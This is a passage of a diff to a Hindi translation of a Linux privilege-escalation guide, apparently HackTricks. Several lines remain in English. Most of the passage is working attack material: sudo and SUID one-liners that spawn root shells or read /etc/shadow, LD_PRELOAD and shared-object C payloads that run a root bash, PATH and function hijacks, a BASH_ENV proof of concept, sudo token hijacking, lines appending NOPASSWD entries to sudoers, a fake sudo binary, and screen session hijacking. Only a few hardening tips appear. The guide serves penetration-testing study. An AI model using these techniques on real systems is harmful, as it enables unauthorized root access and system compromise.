हो सकता है। इसे जांचने के लिए: +आपको कुछ command को sudo का उपयोग करके execute करने की अनुमति हो सकती है या उन पर suid bit सेट हो सकता है। इसे जांचने के लिए उपयोग करें: ```bash sudo -l #Check commands you can execute with sudo find / -perm -4000 2>/dev/null #Find all SUID binaries ``` -कुछ **अनपेक्षित commands आपको read and/or write files या यहाँ तक कि execute a command करने की अनुमति देते हैं।** उदाहरण के लिए: +कुछ **अनपेक्षित commands आपको files पढ़ने और/या लिखने या यहाँ तक कि एक command निष्पादित करने की अनुमति देते हैं।** उदाहरण के लिए: ```bash sudo awk 'BEGIN {system("/bin/sh")}' sudo find /etc -exec sh -i \; @@ -790,37 +774,37 @@ less>! ``` ### NOPASSWD -Sudo कॉन्फ़िगरेशन किसी user को बिना पासवर्ड जाने किसी अन्य user की privileges के साथ कोई कमांड execute करने की अनुमति दे सकता है। +Sudo कॉन्फ़िगरेशन किसी उपयोगकर्ता को पासवर्ड जाने बिना किसी अन्य उपयोगकर्ता की privileges के साथ कोई command चलाने की अनुमति दे सकता है. ``` $ sudo -l User demo may run the following commands on crashlab: (root) NOPASSWD: /usr/bin/vim ``` -इस उदाहरण में उपयोगकर्ता `demo` `root` के रूप में `vim` चला सकता है, root directory में एक ssh key जोड़कर या `sh` कॉल करके अब shell प्राप्त करना बहुत सरल है। +इस उदाहरण में उपयोगकर्ता `demo` `vim` को `root` के रूप में चला सकता है, और अब `root` निर्देशिका में एक ssh key जोड़कर या `sh` को कॉल करके shell प्राप्त करना आसान है। ``` sudo vim -c '!sh' ``` ### SETENV -यह निर्देश उपयोगकर्ता को कुछ execute करते समय **set an environment variable** करने की अनुमति देता है: +यह निर्देश उपयोगकर्ता को **set an environment variable** करते हुए किसी कमांड को निष्पादित करने की अनुमति देता है: ```bash $ sudo -l User waldo may run the following commands on admirer: (ALL) SETENV: /opt/scripts/admin_tasks.sh ``` -यह उदाहरण, **HTB machine Admirer पर आधारित**, **vulnerable** था **PYTHONPATH hijacking** के कारण, स्क्रिप्ट को root के रूप में चलाते समय किसी मनमाना python library को लोड करने के लिए: +यह उदाहरण, **HTB machine Admirer पर आधारित**, **vulnerable** था **PYTHONPATH hijacking** के लिए ताकि स्क्रिप्ट को root के रूप में चलाते समय किसी मनमाना python लाइब्रेरी को लोड किया जा सके: ```bash sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh ``` -### BASH_ENV sudo env_keep के द्वारा संरक्षित → root shell +### BASH_ENV sudo env_keep के माध्यम से संरक्षित → root shell -यदि sudoers `BASH_ENV` को संरक्षित करता है (उदा., `Defaults env_keep+="ENV BASH_ENV"`), तो आप Bash के non-interactive startup व्यवहार का लाभ उठाकर किसी अनुमत कमांड को कॉल करते समय arbitrary code को root के रूप में चला सकते हैं। +यदि sudoers `BASH_ENV` को संरक्षित करता है (उदा., `Defaults env_keep+="ENV BASH_ENV"`), तो आप Bash के गैर-इंटरैक्टिव स्टार्टअप व्यवहार का उपयोग करके किसी अनुमत कमांड को कॉल करते समय मनमाना कोड को root के रूप में चला सकते हैं। -- यह क्यों काम करता है: Non-interactive shells के लिए, Bash `$BASH_ENV` का मूल्यांकन करता है और target script को चलाने से पहले उस फ़ाइल को source करता है। कई sudo नियम एक स्क्रिप्ट या shell wrapper चलाने की अनुमति देते हैं। यदि `BASH_ENV` sudo द्वारा संरक्षित है, तो आपकी फ़ाइल root privileges के साथ source की जाएगी। +- यह कैसे काम करता है: गैर-इंटरैक्टिव शेल के लिए, Bash `$BASH_ENV` का मूल्यांकन करता है और लक्ष्य स्क्रिप्ट चलाने से पहले उस फ़ाइल को source करता है। कई sudo नियम स्क्रिप्ट या शेल wrapper चलाने की अनुमति देते हैं। यदि `BASH_ENV` sudo द्वारा संरक्षित है, तो आपकी फ़ाइल root विशेषाधिकारों के साथ source की जाती है। - आवश्यकताएँ: -- ऐसा sudo नियम जो आप चला सकें (कोई भी लक्ष्य जो गैर-इंटरैक्टिव रूप से `/bin/bash` को invoke करता है, या कोई भी bash script)। -- `BASH_ENV` `env_keep` में मौजूद हो (जाँच के लिए `sudo -l` चलाएँ)। +- एक sudo नियम जिसे आप चला सकते हैं (कोई भी लक्ष्य जो `/bin/bash` को गैर-इंटरैक्टिव रूप से invoke करता है, या कोई भी bash स्क्रिप्ट)। +- `BASH_ENV` `env_keep` में उपस्थित होना चाहिए (जांचने के लिए `sudo -l` का उपयोग करें)। - PoC: ```bash @@ -833,13 +817,13 @@ BASH_ENV=/dev/shm/shell.sh sudo /usr/bin/systeminfo # or any permitted script/ # You should now have a root shell ``` - हार्डनिंग: -- `env_keep` से `BASH_ENV` (और `ENV`) हटाएँ, `env_reset` को प्राथमिकता दें। -- sudo-allowed commands के लिए shell wrappers से बचें; minimal binaries का उपयोग करें। -- जब preserved env vars का उपयोग हो तो sudo I/O logging और alerting पर विचार करें। +- हटाएँ `BASH_ENV` (और `ENV`) को `env_keep` से; `env_reset` को प्राथमिकता दें। +- `sudo-allowed` commands के लिए shell wrappers से बचें; न्यूनतम binaries का उपयोग करें। +- जब preserved env vars का उपयोग हो, तब sudo I/O logging और alerting पर विचार करें। -### Sudo निष्पादन को बायपास करने वाले paths +### Sudo execution बायपास करने के रास्ते -**Jump** का उपयोग कर अन्य फ़ाइलें पढ़ें या **symlinks** का उपयोग करें। उदाहरण के लिए sudoers फ़ाइल में: _hacker10 ALL= (root) /bin/less /var/log/\*_ +**Jump** करके अन्य फाइलें पढ़ें या **symlinks** का उपयोग करें। उदाहरण के लिए sudoers फ़ाइल में: _hacker10 ALL= (root) /bin/less /var/log/\*_ ```bash sudo less /var/logs/anything less>:e /etc/shadow #Jump to read other files using privileged less @@ -849,50 +833,50 @@ less>:e /etc/shadow #Jump to read other files using privileged less ln /etc/shadow /var/log/new sudo less /var/log/new #Use symlinks to read any file ``` -यदि एक **wildcard** का उपयोग किया जाता है (\*), तो यह और भी आसान हो जाता है: +यदि एक **wildcard** का उपयोग किया जाता है (\*), तो यह और भी आसान है: ```bash sudo less /var/log/../../etc/shadow #Read shadow sudo less /var/log/something /etc/shadow #Red 2 files ``` -**रोकथाम**: [https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/](https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/) +**निवारक उपाय**: [https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/](https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/) -### Sudo command/SUID binary without command path +### Sudo command/SUID binary बिना command path -यदि किसी एक कमांड को **sudo permission** बिना path निर्दिष्ट किए दिया गया है: _hacker10 ALL= (root) less_ तो आप PATH variable बदलकर इसे exploit कर सकते हैं। +यदि **sudo अनुमति** किसी एक command को **path निर्दिष्ट किए बिना** दी गई है: _hacker10 ALL= (root) less_ तो आप इसे PATH variable बदलकर exploit कर सकते हैं। ```bash export PATH=/tmp:$PATH #Put your backdoor in /tmp and name it "less" sudo less ``` -यह तकनीक तब भी उपयोग की जा सकती है अगर एक **suid** binary **बिना पथ निर्दिष्ट किए किसी अन्य कमांड को execute करता है (हमेशा _**strings**_ के साथ किसी अजीब SUID binary की सामग्री जाँचें)**। +यह तकनीक उस स्थिति में भी उपयोग की जा सकती है यदि एक **suid** binary **executes another command without specifying the path to it (always check with** _**strings**_ **the content of a weird SUID binary)**). [Payload examples to execute.](payloads-to-execute.md) ### SUID binary with command path -यदि **suid** binary **पथ निर्दिष्ट करते हुए किसी दूसरे कमांड को execute करता है**, तो आप उस कमांड के नाम से **export a function** करने की कोशिश कर सकते हैं जिसे suid फ़ाइल कॉल कर रही है। +यदि कोई **suid** binary **executes another command specifying the path**, तो आप कोशिश कर सकते हैं कि जिस command को suid file कॉल कर रही है उसके नाम से आप **export a function** बनाकर उसे export करें। -उदाहरण के लिए, यदि एक suid binary _**/usr/sbin/service apache2 start**_ को कॉल करता है, तो आपको वह function बनाकर export करने की कोशिश करनी चाहिए: +For example, if a suid binary calls _**/usr/sbin/service apache2 start**_ you have to try to create the function and export it: ```bash function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; } export -f /usr/sbin/service ``` -फिर, जब आप suid binary को कॉल करेंगे, यह फ़ंक्शन निष्पादित होगा +Then, when you call the suid binary, this function will be executed ### LD_PRELOAD & **LD_LIBRARY_PATH** -**LD_PRELOAD** environment variable का उपयोग एक या अधिक साझा लाइब्रेरीज़ (.so files) को निर्दिष्ट करने के लिए किया जाता है, जिन्हें loader द्वारा सभी अन्य लाइब्रेरीज़ के पहले लोड किया जाता है, जिनमें standard C library (`libc.so`) भी शामिल है। इस प्रक्रिया को एक लाइब्रेरी का preloading कहा जाता है। +The **LD_PRELOAD** environment variable is used to specify one or more shared libraries (.so files) to be loaded by the loader before all others, including the standard C library (`libc.so`). This process is known as preloading a library. -हालाँकि, सिस्टम सुरक्षा बनाए रखने और इस सुविधा के दुरुपयोग को रोकने के लिए, खासकर suid/sgid executables के साथ, सिस्टम कुछ शर्तें लागू करता है: +However, to maintain system security and prevent this feature from being exploited, particularly with **suid/sgid** executables, the system enforces certain conditions: -- जिन executables में real user ID (_ruid_) और effective user ID (_euid_) मेल नहीं खाते, उनके लिए loader **LD_PRELOAD** को अनदेखा करता है। -- suid/sgid वाले executables के लिए, केवल वे libraries preloaded की जाती हैं जो standard paths में हों और जो खुद भी suid/sgid हों। +- The loader disregards **LD_PRELOAD** for executables where the real user ID (_ruid_) does not match the effective user ID (_euid_). +- For executables with suid/sgid, only libraries in standard paths that are also suid/sgid are preloaded. -Privilege escalation हो सकती है अगर आपके पास `sudo` के साथ कमांड चलाने की क्षमता है और `sudo -l` के आउटपुट में **env_keep+=LD_PRELOAD** शामिल है। यह कॉन्फ़िगरेशन **LD_PRELOAD** environment variable को स्थायी रखने और `sudo` के साथ कमांड चलाने पर भी पहचाने जाने की अनुमति देता है, जिससे संभावित रूप से उच्च अधिकारों के साथ arbitrary code का निष्पादन हो सकता है। +Privilege escalation can occur if you have the ability to execute commands with `sudo` and the output of `sudo -l` includes the statement **env_keep+=LD_PRELOAD**. This configuration allows the **LD_PRELOAD** environment variable to persist and be recognized even when commands are run with `sudo`, potentially leading to the execution of arbitrary code with elevated privileges. ``` Defaults env_keep += LD_PRELOAD ``` -के रूप में सहेजें **/tmp/pe.c** +**/tmp/pe.c** के रूप में सहेजें ```c #include #include @@ -905,17 +889,17 @@ setuid(0); system("/bin/bash"); } ``` -फिर **इसे संकलित करें**: +फिर **compile it** करने के लिए: ```bash cd /tmp gcc -fPIC -shared -o pe.so pe.c -nostartfiles ``` -अंत में, **escalate privileges** चलाते हुए +अंत में, **escalate privileges** चलाकर ```bash sudo LD_PRELOAD=./pe.so #Use any command you can run with sudo ``` > [!CAUTION] -> एक समान privesc का दुरुपयोग किया जा सकता है यदि आक्रमणकारी **LD_LIBRARY_PATH** env variable को नियंत्रित करता है क्योंकि वह उस path को नियंत्रित करता है जहाँ libraries खोजी जाएँगी। +> एक समान privesc का दुरुपयोग किया जा सकता है यदि हमलावर **LD_LIBRARY_PATH** env variable को नियंत्रित करता है क्योंकि वह उन पाथों को नियंत्रित करता है जहाँ लाइब्रेरी खोजी जाएँगी। ```c #include #include @@ -937,13 +921,13 @@ sudo LD_LIBRARY_PATH=/tmp ``` ### SUID Binary – .so injection -जब किसी binary को **SUID** permissions के साथ देखा जाए जो असामान्य लगे, तो यह अच्छी प्रैक्टिस है कि यह जांचा जाए कि यह ठीक से **.so** files लोड कर रहा है या नहीं। इसे निम्नलिखित कमांड चलाकर जांचा जा सकता है: +जब किसी असामान्य दिखने वाले binary में **SUID** permissions हों, तो यह अच्छी प्रैक्टिस है कि जाँच करें कि वह **.so** files सही तरीके से लोड कर रहा है या नहीं। इसे निम्नलिखित command चलाकर जाँचा जा सकता है: ```bash strace 2>&1 | grep -i -E "open|access|no such file" ``` -उदाहरण के लिए, _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ जैसी त्रुटि मिलना संभावित exploitation का संकेत देता है। +उदाहरण के लिए, _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ जैसी त्रुटि मिलने पर यह exploitation की संभाव्यता का संकेत देती है। -इसे exploit करने के लिए, आप एक C फ़ाइल बनाएँगे, जैसे _"/path/to/.config/libcalc.c"_, जिसमें निम्नलिखित code होगा: +इसे exploit करने के लिए, आप एक C फ़ाइल बनाएँगे, उदाहरण के लिए _"/path/to/.config/libcalc.c"_, जिसमें निम्नलिखित कोड होगा: ```c #include #include @@ -954,13 +938,13 @@ void inject(){ system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p"); } ``` -यह कोड, एक बार compiled और executed होने पर, file permissions को manipulate करके और elevated privileges के साथ एक shell execute करके privileges बढ़ाने का प्रयास करता है। +यह code, एक बार compiled और executed होने पर, file permissions को बदलकर और elevated privileges के साथ एक shell चलाकर privileges बढ़ाने का लक्ष्य रखता है। -ऊपर दिए गए C file को एक shared object (.so) file में compile करें: +ऊपर दिए गए C file को shared object (.so) file में compile करें: ```bash gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c ``` -अंत में, प्रभावित SUID binary को चलाने पर exploit ट्रिगर होना चाहिए, जिससे संभावित system compromise संभव हो सके। +अंत में, प्रभावित SUID binary को चलाने से exploit ट्रिगर होना चाहिए, जिससे संभावित system compromise संभव हो। ## Shared Object Hijacking ```bash @@ -972,7 +956,7 @@ something.so => /lib/x86_64-linux-gnu/something.so readelf -d payroll | grep PATH 0x000000000000001d (RUNPATH) Library runpath: [/development] ``` -अब जब हमने एक SUID binary पाया है जो किसी folder से library लोड कर रहा है जहाँ हम write कर सकते हैं, तो उस folder में आवश्यक नाम के साथ library बनाते हैं: +अब जब हमने एक SUID binary पाया है जो उस फ़ोल्डर से library लोड कर रहा है जहाँ हम लिख सकते हैं, तो चलिए उस फ़ोल्डर में आवश्यक नाम के साथ library बनाते हैं: ```c //gcc src.c -fPIC -shared -o /development/libshared.so #include @@ -985,7 +969,7 @@ setresuid(0,0,0); system("/bin/bash -p"); } ``` -यदि आपको निम्नलिखित जैसी कोई त्रुटि मिलती है +यदि आपको निम्नलिखित जैसी त्रुटि मिलती है ```shell-session ./suid_bin: symbol lookup error: ./suid_bin: undefined symbol: a_function_name ``` @@ -993,9 +977,9 @@ that means that the library you have generated need to have a function called `a ### GTFOBins -[**GTFOBins**](https://gtfobins.github.io) एक curated list है Unix binaries का जिन्हें एक attacker उपयोग कर सकते हैं स्थानीय सुरक्षा प्रतिबंधों को bypass करने के लिए। [**GTFOArgs**](https://gtfoargs.github.io/) समान है लेकिन उन मामलों के लिए जहाँ आप कमांड में **only inject arguments** कर सकते हैं। +[**GTFOBins**](https://gtfobins.github.io) Unix binaries की एक curated सूची है जिन्हें एक attacker स्थानीय सुरक्षा प्रतिबंधों को bypass करने के लिए exploit कर सकता है। [**GTFOArgs**](https://gtfoargs.github.io/) भी ऐसा ही है लेकिन उन मामलों के लिए जहाँ आप किसी command में **only inject arguments** कर सकते हैं। -प्रोजेक्ट Unix बाइनरीज़ के वैध फ़ंक्शन्स को कलेक्ट करता है जिन्हें abuse करके break out restricted shells, escalate or maintain elevated privileges, transfer files, spawn bind and reverse shells, और अन्य post-exploitation tasks में सहायता की जा सके। +प्रोजेक्ट उन Unix binaries के वैध फ़ंक्शन्स को इकट्ठा करता है जिन्हें restricted shells से बाहर निकलने, privileges escalate या बनाए रखने, files transfer करने, bind और reverse shells spawn करने, और अन्य post-exploitation tasks को सुविधाजनक करने के लिए abuse किया जा सकता है। > gdb -nx -ex '!sh' -ex quit\ > sudo mysql -e '! /bin/sh'\ @@ -1014,20 +998,20 @@ https://gtfoargs.github.io/ ### FallOfSudo -यदि आप `sudo -l` को access कर सकते हैं तो आप टूल [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) का उपयोग कर सकते हैं यह चेक करने के लिए कि क्या यह किसी sudo नियम को exploit करने का तरीका पाता है। +यदि आप `sudo -l` तक पहुँच सकते हैं तो आप [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) tool का उपयोग कर सकते हैं यह जांचने के लिए कि यह किसी sudo rule को exploit करने का तरीका ढूंढता है या नहीं। ### Reusing Sudo Tokens -ऐसे मामलों में जहाँ आपके पास **sudo access** है लेकिन पासवर्ड नहीं है, आप privileges escalate कर सकते हैं **waiting for a sudo command execution and then hijacking the session token** करके। +ऐसे मामलों में जहाँ आपके पास **sudo access** है पर पासवर्ड नहीं, आप privileges escalate कर सकते हैं—एक sudo command के execution का इंतज़ार करके और फिर session token hijack करके। Requirements to escalate privileges: -- आप पहले से user _sampleuser_ के रूप में एक shell रखते हैं -- _sampleuser_ ने **used `sudo`** करके पिछले **15mins** में कुछ execute किया हो (डिफ़ॉल्ट रूप से यही sudo token की अवधि है जो हमें `sudo` बिना पासवर्ड के उपयोग करने देती है) -- `cat /proc/sys/kernel/yama/ptrace_scope` का मान 0 होना चाहिए -- `gdb` accessible होना चाहिए (आप इसे अपलोड कर सकें) +- आपके पास पहले से ही user "_sampleuser_" के रूप में एक shell होना चाहिए +- "_sampleuser_" ने **`sudo`** का उपयोग करके हाल के 15 मिनटों में कुछ execute किया हो (डिफ़ॉल्ट रूप से यही sudo token की अवधि है जो हमें बिना पासवर्ड के `sudo` चलाने की अनुमति देती है) +- `cat /proc/sys/kernel/yama/ptrace_scope` का output 0 होना चाहिए +- `gdb` accessible होना चाहिए (आप इसे upload कर पा सकें) -(आप अस्थायी रूप से `ptrace_scope` को `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` चलाकर सक्षम कर सकते हैं या स्थायी रूप से `/etc/sysctl.d/10-ptrace.conf` को संशोधित करके और `kernel.yama.ptrace_scope = 0` सेट करके) +(आप अस्थायी रूप से `ptrace_scope` को `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` के साथ सक्षम कर सकते हैं या स्थायी रूप से `/etc/sysctl.d/10-ptrace.conf` को बदल कर और `kernel.yama.ptrace_scope = 0` सेट करके) If all these requirements are met, **you can escalate privileges using:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) @@ -1037,27 +1021,27 @@ bash exploit.sh /tmp/activate_sudo_token sudo su ``` -- यह **second exploit** (`exploit_v2.sh`) _/tmp_ में एक sh shell बनाएगा जो **root के स्वामित्व वाला और setuid** होगा +- दूसरा **exploit** (`exploit_v2.sh`) _/tmp_ में एक sh shell बनाएगा जो **root के स्वामित्व में setuid के साथ** होगा ```bash bash exploit_v2.sh /tmp/sh -p ``` -- यह **तीसरा exploit** (`exploit_v3.sh`) **sudoers file बनाएगा** जो **sudo tokens को स्थायी बनाता है और सभी users को sudo इस्तेमाल करने की अनुमति देता है** +- यह **तीसरा exploit** (`exploit_v3.sh`) **एक sudoers file बनाएगा** जो **sudo tokens को स्थायी बना देगा और सभी उपयोगकर्ताओं को sudo उपयोग करने की अनुमति देगा** ```bash bash exploit_v3.sh sudo su ``` ### /var/run/sudo/ts/\ -यदि उस फ़ोल्डर में या फ़ोल्डर के भीतर बनाए गए किसी भी फ़ाइल पर आपके पास **write permissions** हैं, तो आप बाइनरी [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) का उपयोग करके **create a sudo token for a user and PID** कर सकते हैं.\ -उदाहरण के लिए, यदि आप फ़ाइल _/var/run/sudo/ts/sampleuser_ को overwrite कर सकते हैं और आपके पास उस user के रूप में PID 1234 के साथ एक shell है, तो आप बिना password जाने **obtain sudo privileges** कर सकते हैं doing: +यदि आपके पास उस फ़ोल्डर में या फ़ोल्डर के अंदर बनाई गई किसी भी फ़ाइल पर **लिखने की अनुमति** है, तो आप बाइनरी [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) का उपयोग करके किसी user और PID के लिए **sudo token** बना सकते हैं.\ +उदाहरण के लिए, अगर आप फ़ाइल _/var/run/sudo/ts/sampleuser_ को overwrite कर सकते हैं और आपके पास उस user के रूप में PID 1234 के साथ एक shell है, तो आप पासवर्ड जाने बिना निम्नलिखित करके **obtain sudo privileges** कर सकते हैं: ```bash ./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser ``` ### /etc/sudoers, /etc/sudoers.d -फाइल `/etc/sudoers` और `/etc/sudoers.d` के अंदर की फाइलें यह निर्धारित करती हैं कि कौन `sudo` का उपयोग कर सकता है और कैसे। **डिफ़ॉल्ट रूप से ये फाइलें केवल user root और group root द्वारा पढ़ी जा सकती हैं**.\ -**यदि** आप इस फाइल को **पढ़** सकते हैं तो आप कुछ रोचक जानकारी **प्राप्त** कर पाएंगे, और यदि आप किसी भी फाइल को **लिख** सकते हैं तो आप **escalate privileges** कर पाएंगे. +फ़ाइल `/etc/sudoers` और `/etc/sudoers.d` के अंदर की फ़ाइलें यह कॉन्फ़िगर करती हैं कि कौन `sudo` का उपयोग कर सकता है और कैसे। ये फ़ाइलें **डिफॉल्ट रूप से केवल user root और group root द्वारा पढ़ी जा सकती हैं**.\ +**यदि** आप इस फ़ाइल को **पढ़** सकते हैं तो आप **कुछ रोचक जानकारी प्राप्त कर सकते हैं**, और यदि आप किसी भी फ़ाइल को **लिख** सकते हैं तो आप **escalate privileges** कर पाएंगे। ```bash ls -l /etc/sudoers /etc/sudoers.d/ ls -ld /etc/sudoers.d/ @@ -1067,7 +1051,7 @@ ls -ld /etc/sudoers.d/ echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README ``` -इन अनुमतियों का दुरुपयोग करने का एक और तरीका: +इन permissions का दुरुपयोग करने का एक और तरीका: ```bash # makes it so every terminal can sudo echo "Defaults !tty_tickets" > /etc/sudoers.d/win @@ -1076,17 +1060,17 @@ echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win ``` ### DOAS -OpenBSD के लिए `sudo` बाइनरी के कुछ विकल्प हैं, जैसे `doas` — इसकी कॉन्फ़िगरेशन को `/etc/doas.conf` में जांचना न भूलें। +OpenBSD के लिए `doas` जैसे `sudo` बाइनरी के कुछ विकल्प होते हैं; इसकी कॉन्फ़िगरेशन को `/etc/doas.conf` पर जांचना न भूलें। ``` permit nopass demo as root cmd vim ``` ### Sudo Hijacking -यदि आप जानते हैं कि एक **user सामान्यतः किसी machine से कनेक्ट करता है और privileges बढ़ाने के लिए `sudo` का उपयोग करता है** और आपने उस user context में shell हासिल कर लिया है, तो आप **एक नया sudo executable बना सकते हैं** जो पहले आपका कोड root के रूप में चलाएगा और फिर user का कमांड। उसके बाद user context का **$PATH** बदल दें (उदाहरण के लिए नई path को .bash_profile में जोड़कर), ताकि जब user sudo चलाए तो आपका sudo executable execute हो। +यदि आप जानते हैं कि **user usually connects to a machine and uses `sudo`** to escalate privileges और आपने उस user context में एक shell प्राप्त कर लिया है, तो आप **एक नया sudo executable बना सकते हैं** जो पहले आपके कोड को root के रूप में चलाएगा और फिर user का कमांड चलाएगा। इसके बाद, user context का **$PATH** संशोधित करें (उदाहरण के लिए नई path को .bash_profile में जोड़कर) ताकि जब user `sudo` चलाए तो आपका sudo executable execute हो। -ध्यान दें कि यदि user किसी अलग shell (not bash) का उपयोग करता है तो आपको नई path जोड़ने के लिए अन्य files को modify करना होगा। उदाहरण के लिए[ sudo-piggyback](https://github.com/APTy/sudo-piggyback) `~/.bashrc`, `~/.zshrc`, `~/.bash_profile` को modify करता है। आप [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) में एक और उदाहरण पा सकते हैं +ध्यान दें कि अगर user किसी अलग shell (not bash) का उपयोग करता है तो आपको नई path जोड़ने के लिए अन्य files में परिवर्तन करने होंगे। उदाहरण के लिए[ sudo-piggyback](https://github.com/APTy/sudo-piggyback) `~/.bashrc`, `~/.zshrc`, `~/.bash_profile` को संशोधित करता है। आप एक और उदाहरण [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) में पा सकते हैं -या कुछ इस तरह चलाना: +Or running something like: ```bash cat >/tmp/sudo < (0x0068c000) libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000) /lib/ld-linux.so.2 (0x005bb000) ``` -lib को `/var/tmp/flag15/` में कॉपी करने पर यह प्रोग्राम द्वारा `RPATH` वैरिएबल में निर्दिष्ट इस स्थान पर उपयोग किया जाएगा। +lib को `/var/tmp/flag15/` में कॉपी करने पर, यह प्रोग्राम द्वारा उस स्थान पर उपयोग किया जाएगा जैसा कि `RPATH` वेरिएबल में निर्दिष्ट है। ``` level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/ @@ -1136,7 +1121,7 @@ linux-gate.so.1 => (0x005b0000) libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000) /lib/ld-linux.so.2 (0x00737000) ``` -फिर `/var/tmp` में एक दुर्भावनापूर्ण लाइब्रेरी बनाएं, इसके लिए चलाएँ `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6` +फिर `/var/tmp` में `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6` कमांड का उपयोग करके एक evil library बनाएं ```c #include #define SHELL "/bin/sh" @@ -1151,8 +1136,8 @@ execve(file,argv,0); ``` ## क्षमताएँ -Linux capabilities किसी प्रक्रिया को उपलब्ध **root privileges का एक subset** प्रदान करते हैं। यह प्रभावी रूप से **root privileges को छोटे और विशिष्ट इकाइयों में विभाजित** कर देता है। इनमें से प्रत्येक इकाई को स्वतंत्र रूप से प्रक्रियाओं को दिया जा सकता है। इस तरह पूरे privileges का सेट कम हो जाता है, जिससे exploitation के जोखिम घटते हैं.\ -निम्न पृष्ठ पढ़ें ताकि आप **क्षमताएँ और उन्हें दुरुपयोग करने के तरीकों के बारे में और अधिक जान सकें**: +Linux capabilities किसी process को उपलब्ध root privileges का **एक उपसमूह** प्रदान करते हैं। यह प्रभावी रूप से root **privileges को छोटे और विशिष्ट इकाइयों में विभाजित** कर देता है। इन इकाइयों में से प्रत्येक को स्वतंत्र रूप से processes को दिया जा सकता है। इस तरह पूरी privileges सेट कम हो जाती है, जिससे exploitation के जोखिम घटते हैं।\ +Read the following page to **learn more about capabilities and how to abuse them**: {{#ref}} @@ -1161,14 +1146,14 @@ linux-capabilities.md ## डायरेक्टरी अनुमतियाँ -किसी डायरेक्टरी में, **"execute" बिट** यह संकेत देता है कि प्रभावित उपयोगकर्ता उस फ़ोल्डर में "**cd**" कर सकता है.\ -**"read"** बिट का अर्थ है कि उपयोगकर्ता फ़ाइलों की सूची देख सकता है, और **"write"** बिट का अर्थ है कि उपयोगकर्ता फ़ाइलों को हटाने और नई फ़ाइलें बनाने में सक्षम है। +एक डायरेक्टरी में, the **bit for "execute"** implies that the user affected can "**cd**" into the folder.\ +The **"read"** bit implies the user can **list** the **files**, and the **"write"** bit implies the user can **delete** and **create** new **files**. ## ACLs -Access Control Lists (ACLs) विवेकानुसार अनुमतियों की द्वितीयक परत का प्रतिनिधित्व करते हैं, जो पारंपरिक ugo/rwx permissions को **override** करने में सक्षम हैं। ये permissions फ़ाइल या डायरेक्टरी एक्सेस पर नियंत्रण बढ़ाते हैं क्योंकि वे उन विशिष्ट उपयोगकर्ताओं को अधिकार देने या न देने की अनुमति देते हैं जो मालिक नहीं हैं या समूह का हिस्सा नहीं हैं। यह स्तर **सूक्ष्मता सुनिश्चित करता है और अधिक सटीक एक्सेस प्रबंधन प्रदान करता है**। Further details can be found [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux). +Access Control Lists (ACLs) represent the secondary layer of discretionary permissions, capable of **overriding the traditional ugo/rwx permissions**. ये permissions file या directory के access पर अधिक नियंत्रण प्रदान करते हैं, क्योंकि ये उन specific users को अधिकार देने या नकारने की अनुमति देते हैं जो owner नहीं हैं या group का हिस्सा नहीं हैं। यह स्तर अधिक **granularity सुनिश्चित करता है** जिससे access management और सटीक होता है। Further details can be found [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux). -**दें** उपयोगकर्ता "kali" को किसी फ़ाइल पर पढ़ने और लिखने की अनुमतियाँ: +**देँ** user "kali" को किसी फ़ाइल पर read और write permissions: ```bash setfacl -m u:kali:rw file.txt #Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included) @@ -1179,21 +1164,21 @@ setfacl -b file.txt #Remove the ACL of the file ```bash getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null ``` -## खुले shell sessions +## खुली shell sessions -**पुराने संस्करणों** में आप किसी दूसरे उपयोगकर्ता (**root**) के कुछ **shell** session को **hijack** कर सकते हैं.\ -**नवीनतम संस्करणों** में आप केवल **अपने उपयोगकर्ता** के screen sessions से ही **connect** कर पाएँगे। हालांकि, आप **session के अंदर रोचक जानकारी** पा सकते हैं। +**पुराने संस्करणों** में आप किसी अन्य उपयोगकर्ता (**root**) के कुछ **shell** session को **hijack** कर सकते हैं.\ +**नवीनतम संस्करणों** में आप केवल **आपके अपने user** के **screen** sessions से ही **connect** कर पाएँगे। हालांकि, आप **session के अंदर रोचक जानकारी** पा सकते हैं। ### screen sessions hijacking -**screen sessions सूचीबद्ध करें** +**screen sessions की सूची** ```bash screen -ls screen -ls / # Show another user' screen sessions ``` ![](<../../images/image (141).png>) -**session से जुड़ें** +**किसी session से जुड़ें** ```bash screen -dr #The -d is to detach whoever is attached to it screen -dr 3350.foo #In the example of the image @@ -1201,7 +1186,7 @@ screen -x [user]/[session id] ``` ## tmux sessions hijacking -यह 